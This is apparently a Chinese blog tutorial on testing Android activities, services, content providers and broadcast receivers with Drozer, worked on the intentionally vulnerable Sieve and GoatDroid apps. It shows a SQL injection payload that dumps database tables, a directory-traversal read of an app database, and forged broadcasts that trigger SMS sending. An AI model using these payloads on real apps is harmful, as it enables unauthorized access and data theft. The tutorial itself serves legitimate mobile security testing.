【移动安全】drozer测试四大组件

Drozer

介绍

Drozer[1]是一款开源的 Android 安全测试和攻击工具,由 MWR InfoSecurity 开发。它提供了一个命令行接口,允许用户在安全测试或攻击 Android 应用程序时进行自动化测试,发现潜在的漏洞和安全风险。Drozer 是目前应用最为广泛的 Android 安全测试工具之一,其功能和易用性受到了广泛的认可和好评。

Drozer 的主要功能包括:

  1. 应用程序渗透测试:Drozer 允许用户测试 Android 应用程序的安全性,包括动态和静态分析,以及漏洞扫描等。

  2. 应用程序漏洞挖掘:Drozer 提供了一个插件系统,允许用户编写自己的插件来挖掘 Android 应用程序中的漏洞。

  3. 代码审计:Drozer 允许用户快速浏览应用程序的源代码,并快速查找敏感信息和漏洞。

  4. 安全审计:Drozer 提供了一些常见的安全审计功能,例如渗透测试、代码审计和漏洞扫描等。

总的来说,Drozer 是一款非常强大的 Android 安全测试工具,可以帮助安全测试人员发现 Android 应用程序中的漏洞和安全风险,并提供相应的解决方案。

GitHub: https://github.com/WithSecureLabs/drozer

安装

环境准备

  • python 2.7[2]【必须,不然可能会有玄学 BUG】

PC 控制端安装

# 安装依赖python2 -m pip install wheelpython2 -m pip install pyyamlpython2 -m pip install pyhamcrestpython2 -m pip install protobufpython2 -m pip install pyopensslpython2 -m pip install twistedpython2 -m pip install service_identity
# 下载whl到本地wget https://github.com/WithSecureLabs/drozer/releases/download/2.4.4/drozer-2.4.4-py2-none-any.whlpython2 -m pip install drozer-2.4.4-py2-none-any.whl

设备端 agent 安装

wget https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apkadb install drozer-agent-2.3.4.apk

连接

启动drozer agent

​​​​​​

# 端口转发adb forward tcp:31415 tcp:31415# 连接drozer console connect

出现如下内容,就说明 OK 了

Selecting da226956879c9325 (Xiaomi MI 6 Plus 6.0.1)
            ..                    ..:.           ..o..                  .r..            ..a..  . ....... .  ..nd              ro..idsnemesisand..pr              .otectorandroidsneme.           .,sisandprotectorandroids+.         ..nemesisandprotectorandroidsn:.        .emesisandprotectorandroidsnemes..      ..isandp,..,rotectorandro,..,idsnem.      .isisandp..rotectorandroid..snemisis.      ,andprotectorandroidsnemisisandprotec.     .torandroidsnemesisandprotectorandroid.     .snemisisandprotectorandroidsnemesisan:     .dprotectorandroidsnemesisandprotector.
drozer Console (v2.4.4)dz>

输入run app.package.list列举出所有的软件,可以列举就更加说明安装成功了。

相关命令

help: 列出所有可用命令,可通过`help <module>`查看指定的帮助信息,如`help app.package.list`list: 列出可用模块的列表,可选择按名称过滤(也可以使用ls),如 `list service`。run:  执行模块,使用方式 `run <module>`,如`run app.package.list`

模块介绍翻译:

模块说明
app.activity.forintent查找可以处理给定 intent 的 activity
app.activity.info获取有关已导出 activity 的信息。
app.activity.start启动 activity
app.broadcast.info获取有关 broadcast receiver 的信息
app.broadcast.send使用 intent 发送广播
app.broadcast.sniff注册可以嗅探特定 intent 的 broadcast receiver
app.package.attacksurface获取软件包的攻击面
app.package.backup列出使用备份 API 的软件包(FLAG_ALLOW_BACKUP返回 true)
app.package.debuggable查找可调试的软件包
app.package.info获取有关已安装软件包的信息
app.package.launchintent获取软件包的启动 intent
app.package.list列出软件包
app.package.manifest获取软件包的 AndroidManifest.xml
app.package.native查找应用程序中嵌入的本地库。
app.package.shareduid查找共享 UID 的软件包
app.provider.columns列出内容提供者中的列
app.provider.delete从内容提供者中删除
app.provider.download从支持文件的内容提供者下载文件
app.provider.finduri在软件包中查找引用的内容 URI
app.provider.info获取有关导出内容提供程序的信息
app.provider.insert插入到内容提供程序
app.provider.query查询内容提供程序
app.provider.read从支持文件的内容提供程序中读取
app.provider.update更新内容提供者中的记录
app.service.info获取有关已导出服务的信息
app.service.send向服务发送消息,并显示回复
app.service.start启动服务
app.service.stop停止服务
auxiliary.webcontentresolver启动内容提供者的 Web 服务接口。
exploit.jdwp.check打开@jdwp-control,查看哪些应用连接
exploit.pilfer.general.apnprovider读取 APN 内容提供者
exploit.pilfer.general.settingsprovider读取设置内容提供者
information.datetime打印日期/时间
information.deviceinfo获取详细设备信息
information.permissions获取设备上所有软件包使用的所有权限列表
scanner.activity.browsable获取可以从 Web 浏览器调用的所有可浏览的 activity
scanner.misc.native查找包中包含的本地组件
scanner.misc.readablefiles在给定文件夹中查找可读取的全局文件
scanner.misc.secretcodes搜索可从拨号器中使用的秘密代码
scanner.misc.sflagbinaries在给定文件夹中查找 suid / sgid 二进制文件(默认为/system)。
scanner.misc.writablefiles在给定文件夹中查找可写的全局文件
scanner.provider.finduris搜索可以从我们的上下文查询的内容提供者。
scanner.provider.injection测试内容提供程序的 SQL 注入漏洞。
scanner.provider.sqltables查找可通过 SQL 注入漏洞访问的表。
scanner.provider.traversal测试内容提供程序是否存在基本目录遍历漏洞。
shell.exec执行单个 Linux 命令。
shell.send将 ASH shell 发送到远程侦听器。
shell.start进入交互式 Linux shell。
tools.file.download下载文件。
tools.file.md5sum获取文件的 md5 校验和。
tools.file.size获取文件大小。
tools.file.upload上传文件。
tools.setup.busybox安装 Busybox。
tools.setup.minimalsu准备在设备上安装'minimal-su'二进制文件。

四大组件

说明

组件名称描述用途
Activity代表应用程序中的单个屏幕或用户界面处理用户与应用程序的交互和响应用户的操作
Service代表应用程序中的后台任务在后台执行长时间运行的操作,例如音乐播放、下载和数据处理
BroadcastReceiver用于接收系统广播和应用程序内部广播响应系统和应用程序中的广播消息,例如电池电量、网络连接状态、应用程序安装等
ContentProvider用于应用程序之间共享数据允许应用程序访问其他应用程序存储在特定位置的数据,例如联系人、照片、音频文件等

测试

以sieve.apk[3]为例,查看攻击面

# 找到APP包名dz> run app.package.list -f siecom.mwr.example.sieve (Sieve)
# 找到模块dz> ls attackapp.package.attacksurface  Get attack surface of package
# 查看攻击面,可以通过 -h 参数查看帮助dz> run app.package.attacksurface com.mwr.example.sieveAttack Surface:  3 activities exported  0 broadcast receivers exported  2 content providers exported  2 services exported    is debuggable

<packagename>是包名。可以看到有 3 个 activity、0 个广播接收者、2 个内容提供者和 2 个服务可以被导出,并且开启了 debug 模式。

**可导出:**可以被其他应用程序或组件调用

  1. 一般有参数的情况下需要结合反编译去分析传入的参数,然后用参数--extra去构造发送。

  2. Intent 是一种用于在不同组件之间传递数据和执行操作的机制。Intent 除了可以携带数据外,还可以传递Bundle 对象或者使用putExtra方法传递键值对来传递数据。所以我们在分析参数的时候,着重注意Bundle对象

    Bundle bundle = arg1.getExtras();sms.sendTextMessage(bundle.getString("phoneNumber"), null, bundle.getString("message"), null, null);// 参数 phoneNumber 和 message

Activity

风险点:

  1. 未授权访问(信息泄漏)

  2. 拒绝服务(发送空/畸形数据)

  3. activity 劫持

获取可导出 activity

# run app.activity.info -a <packagename>dz> run app.activity.info -a com.mwr.example.sievePackage: com.mwr.example.sieve  com.mwr.example.sieve.FileSelectActivity    Permission: null  com.mwr.example.sieve.MainLoginActivity    Permission: null  com.mwr.example.sieve.PWList    Permission: null

调用对应的 activity,切换到对应界面,查看是否存在未授权,以及程序是否会崩溃(拒绝服务)

# run app.activity.start --component <packagename> <component># run app.activity.start --component <packagename> <component> --extra string value 12345dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivitydz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

activity未授权

测试是否存在 Activity 劫持​​​​​​​

# 环境准备wget https://github.com/yanghaoi/android_app/raw/master/uihijackv2.0_sign.apk# 安装点击劫持软件adb install uihijackv2.0_sign.apk

在打开原 activity 的基础上,调用此组件,如果uihijackv2.0_sign界面位于被测软件上,则存在漏洞,否则不存在漏洞。

run app.activity.start --component com.test.uihijack com.test.uihijack.MainActivity

Service

风险点:

  1. 根据具体的功能点分析

  2. 拒绝服务

获取可导出服务​​​​​​​

# run app.service.info -a <packagename>dz> run app.service.info -a com.mwr.example.sievePackage: com.mwr.example.sieve  com.mwr.example.sieve.AuthService    Permission: null  com.mwr.example.sieve.CryptoService    Permission: null

启动服务​​​​​​​

# run app.service.start --component <packagename> <component>dz> run app.service.start --component com.mwr.example.sieve com.mwr.example.sieve.AuthServicedz> run app.service.start --component com.mwr.example.sieve com.mwr.example.sieve.CryptoService

绑定到一个已导出的服务,并向其发送一条消息。如果服务发送了一个回复,则显示接收到的消息及其包含的任何数据【发送数据到服务,并 dump 数据】​​​​​​​

# run app.service.send <packagename> <component> --msg 1 2 3 --extra float value 0.1324 --extra string test valuedz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 0 --extra string com.mwr.example.sieve.PIN 1234888 --bundle-as-objGot a reply from com.mwr.example.sieve/com.mwr.example.sieve.AuthService:  what: 5  arg1: 41  arg2: 1  Extras    com.mwr.example.sieve.PIN (String) : 1234888

如果返回的是对象类数据,一定要加上参数--bundle-as-obj,不然 drozer 会直接退出。

--msg--extra参数来源:

常量值

参数分析

另一个服务也一样​​​​​​​

dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.CryptoService --msg 3452 0 0 --extra string com.mwr.example.sieve.KEY 123 --extra string com.mwr.example.sieve.STRING 456 --bundle-as-objGot a reply from com.mwr.example.sieve/com.mwr.example.sieve.CryptoService:  what: 9  arg1: 91  arg2: 0  Extras    com.mwr.example.sieve.RESULT (byte[]) : [55, 41, -24, -79, 3, 110, -82, -59, 93, -94, -83, -45, -8, 9, 97, -70, -79, 101, -80]    com.mwr.example.sieve.STRING (String) : 456    com.mwr.example.sieve.KEY (String) : 123

关闭服务​​​​​​​

# run app.service.stop --component <packagename> <component>dz> run app.service.stop --component com.mwr.example.sieve com.mwr.example.sieve.AuthService

ContentProvider

风险点:

  1. 信息泄漏

  2. 注入漏洞

Content Provider 中的注入漏洞允许攻击者向 Content Provider 中注入恶意数据,从而可以获取敏感信息或者执行未经授权的操作。攻击者可以利用注入漏洞来执行 SQL 注入攻击,从而获取或修改 Content Provider 中的数据。如果 Content Provider 中存储了敏感数据,攻击者可能会利用注入漏洞来窃取该数据,导致严重的数据泄露问题。

  1. 目录遍历漏洞

使用ContentProvider.openFile()可以实现应用间共享数据,如果这个方法使用不当将会导致目录遍历漏洞。该漏洞允许攻击者访问 Content Provider 中未经授权的文件和目录。攻击者可以利用目录遍历漏洞来获取敏感信息,如密码、密钥、证书等。此外,攻击者还可以利用目录遍历漏洞来执行未经授权的操作,如删除或修改 Content Provider 中的文件,导致严重的安全问题。

获取提供者信息​​​​​​​

# run app.provider.info -a <packagename>dz> run app.provider.info -a com.mwr.example.sievePackage: com.mwr.example.sieve  Authority: com.mwr.example.sieve.DBContentProvider    Read Permission: null    Write Permission: null    Content Provider: com.mwr.example.sieve.DBContentProvider    Multiprocess Allowed: True    Grant Uri Permissions: False    Path Permissions:      Path: /Keys        Type: PATTERN_LITERAL        Read Permission: com.mwr.example.sieve.READ_KEYS        Write Permission: com.mwr.example.sieve.WRITE_KEYS  Authority: com.mwr.example.sieve.FileBackupProvider    Read Permission: null    Write Permission: null    Content Provider: com.mwr.example.sieve.FileBackupProvider    Multiprocess Allowed: True    Grant Uri Permissions: False

查询是否存在信息泄漏

# run scanner.provider.finduris -a <packagename>dz> run scanner.provider.finduris -a com.mwr.example.sieveScanning com.mwr.example.sieve...Unable to Query  content://com.mwr.example.sieve.DBContentProvider/Unable to Query  content://com.mwr.example.sieve.FileBackupProvider/Unable to Query  content://com.mwr.example.sieve.DBContentProviderAble to Query    content://com.mwr.example.sieve.DBContentProvider/Passwords/Able to Query    content://com.mwr.example.sieve.DBContentProvider/Keys/Unable to Query  content://com.mwr.example.sieve.FileBackupProviderAble to Query    content://com.mwr.example.sieve.DBContentProvider/PasswordsUnable to Query  content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:  content://com.mwr.example.sieve.DBContentProvider/Keys/  content://com.mwr.example.sieve.DBContentProvider/Passwords  content://com.mwr.example.sieve.DBContentProvider/Passwords/

查询数据

# run app.provider.query <uri> [option args]dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/| Password | pin  || 1        | null |

查询是否存在注入

# run scanner.provider.injection -a <packagename>dz> run scanner.provider.injection -a com.mwr.example.sieveScanning com.mwr.example.sieve...Not Vulnerable:  content://com.mwr.example.sieve.DBContentProvider/Keys  content://com.mwr.example.sieve.DBContentProvider/  content://com.mwr.example.sieve.FileBackupProvider/  content://com.mwr.example.sieve.DBContentProvider  content://com.mwr.example.sieve.FileBackupProvider
Injection in Projection:  content://com.mwr.example.sieve.DBContentProvider/Keys/  content://com.mwr.example.sieve.DBContentProvider/Passwords  content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:  content://com.mwr.example.sieve.DBContentProvider/Keys/  content://com.mwr.example.sieve.DBContentProvider/Passwords  content://com.mwr.example.sieve.DBContentProvider/Passwords/

利用注入​​​​​​​

# 列出所有的表dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "* FROM SQLITE_MASTER WHERE TYPE='table';--"| type  | name             | tbl_name         | rootpage | sql                                                                                              || table | android_metadata | android_metadata | 3        | CREATE TABLE android_metadata (locale TEXT)                                                      || table | Passwords        | Passwords        | 4        | CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email ) || table | Key              | Key              | 5        | CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT )                                           |

查询是否存在目录遍历​​​​​​​

# run scanner.provider.traversal -a <packagename>dz> run scanner.provider.traversal -a com.mwr.example.sieveScanning com.mwr.example.sieve...Not Vulnerable:  content://com.mwr.example.sieve.DBContentProvider/  content://com.mwr.example.sieve.DBContentProvider/Keys  content://com.mwr.example.sieve.DBContentProvider/Passwords/  content://com.mwr.example.sieve.DBContentProvider/Keys/  content://com.mwr.example.sieve.DBContentProvider/Passwords  content://com.mwr.example.sieve.DBContentProvider
Vulnerable Providers:  content://com.mwr.example.sieve.FileBackupProvider/  content://com.mwr.example.sieve.FileBackupProvider

利用目录遍历读取文件​​​​​​​

# run app.provider.read <uri>dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/../../../../../../../..//data/user/0/com.mwr.example.sieve/databases/database.db

BroadcastReceiver

风险点:

  1. 消息伪造

  2. 拒绝服务

上面的 APK 不存在广播接收者,所以这里更换为另一个APK[4]

获取可导出广播接收者​​​​​​​

# run app.broadcast.info -a <packagename>dz> run app.broadcast.info -a org.owasp.goatdroid.fourgoats

发送广播

发送电量屏幕的广播

run app.broadcast.send --action android.intent.action.SCREEN_ON

部分系统预定义广播及正常触发时机

action触发时机
android.net.conn.CONNECTIVITY_CHANGE网络连接发生变化
android.intent.action.SCREEN_ON屏幕点亮
android.intent.action.SCREEN_OFF屏幕熄灭
android.intent.action.BATTERY_LOW电量低,会弹出电量低提示框
android.intent.action.BATTERY_OKAY电量恢复了
android.intent.action.BOOT_COMPLETED设备启动完毕
android.intent.action.DEVICE_STORAGE_LOW存储空间过低
android.intent.action.DEVICE_STORAGE_OK存储空间恢复
android.intent.action.PACKAGE_ADDED安装了新的应用
android.net.wifi.STATE_CHANGEWiFi 连接状态发生变化
android.net.wifi.WIFI_STATE_CHANGEDWiFi 状态变为启用/关闭/正在启动/正在关闭/未知
android.intent.action.BATTERY_CHANGED电池电量发生变化
android.intent.action.INPUT_METHOD_CHANGED系统输入法发生变化
android.intent.action.ACTION_POWER_CONNECTED外部电源连接
android.intent.action.ACTION_POWER_DISCONNECTED外部电源断开连接
android.intent.action.DREAMING_STARTED系统开始休眠
android.intent.action.DREAMING_STOPPED系统停止休眠
android.intent.action.WALLPAPER_CHANGED壁纸发生变化
android.intent.action.HEADSET_PLUG插入耳机
android.intent.action.MEDIA_UNMOUNTED卸载外部介质
android.intent.action.MEDIA_MOUNTED挂载外部介质
android.os.action.POWER_SAVE_MODE_CHANGED省电模式开启

发送给指定的 broadcast receiver

# run app.broadcast.send --component <packagename> <component>dz> run app.broadcast.send --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver --extra string phoneNumber 123  --extra string message 666

image

extra 参数来源:

image

参考资料

[1]

Drozer: https://labs.withsecure.com/tools/drozer

[2]

python 2.7: https://www.python.org/ftp/python/2.7.18/python-2.7.18-macosx10.9.pkg

[3]

sieve.apk: https://github.com/as0ler/Android-Examples/blob/master/sieve.apk

[4]

APK: https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk

  • 2
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Android四大组件包括Activity、Service、Broadcast Receiver和Content Provider。这里我将回答一些常见的面试题。 1. 谈谈singleTop和singleTask的区别以及应用场景。 singleTop和singleTask是Activity的启动模式之一。singleTop表示如果目标Activity已经位于栈顶,则不会创建新的实例,而是直接使用栈顶的实例;而如果目标Activity不在栈顶,则会创建新的实例。singleTask表示系统在启动目标Activity之前会先检查任务栈中是否已经存在该Activity的实例,如果存在,则将该实例移动到栈顶,否则创建新的实例并放入栈顶。 2. 说下Activity的四种启动模式。 Activity的四种启动模式分别为standard、singleTop、singleTask和singleInstance。standard是默认的启动模式,每次启动Activity都会创建新的实例;singleTop在singleTop的回答中有详细解释,可以解决重复打开Activity的问题;singleTask在singleTask的回答中有详细解释,可以实现页面的栈顶复用;singleInstance表示该Activity在一个新的任务栈中独立存在,且该任务栈中只有该Activity。 3. 请简要介绍Activity的作用和与Fragment的关系。 Activity是Android应用中每个页面的承载,它负责管理视图和用户交互。一个应用通常由多个Activity组成,每个Activity可以包含一个或多个Fragment。Fragment是可以嵌入到Activity中的可重用UI组件,它的显示和生命周期依赖于宿主Activity。通过使用Fragment,可以将界面分解成多个模块化的部分,提高代码的重用性和灵活性。 以上是对Android四大组件常见面试题的回答。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值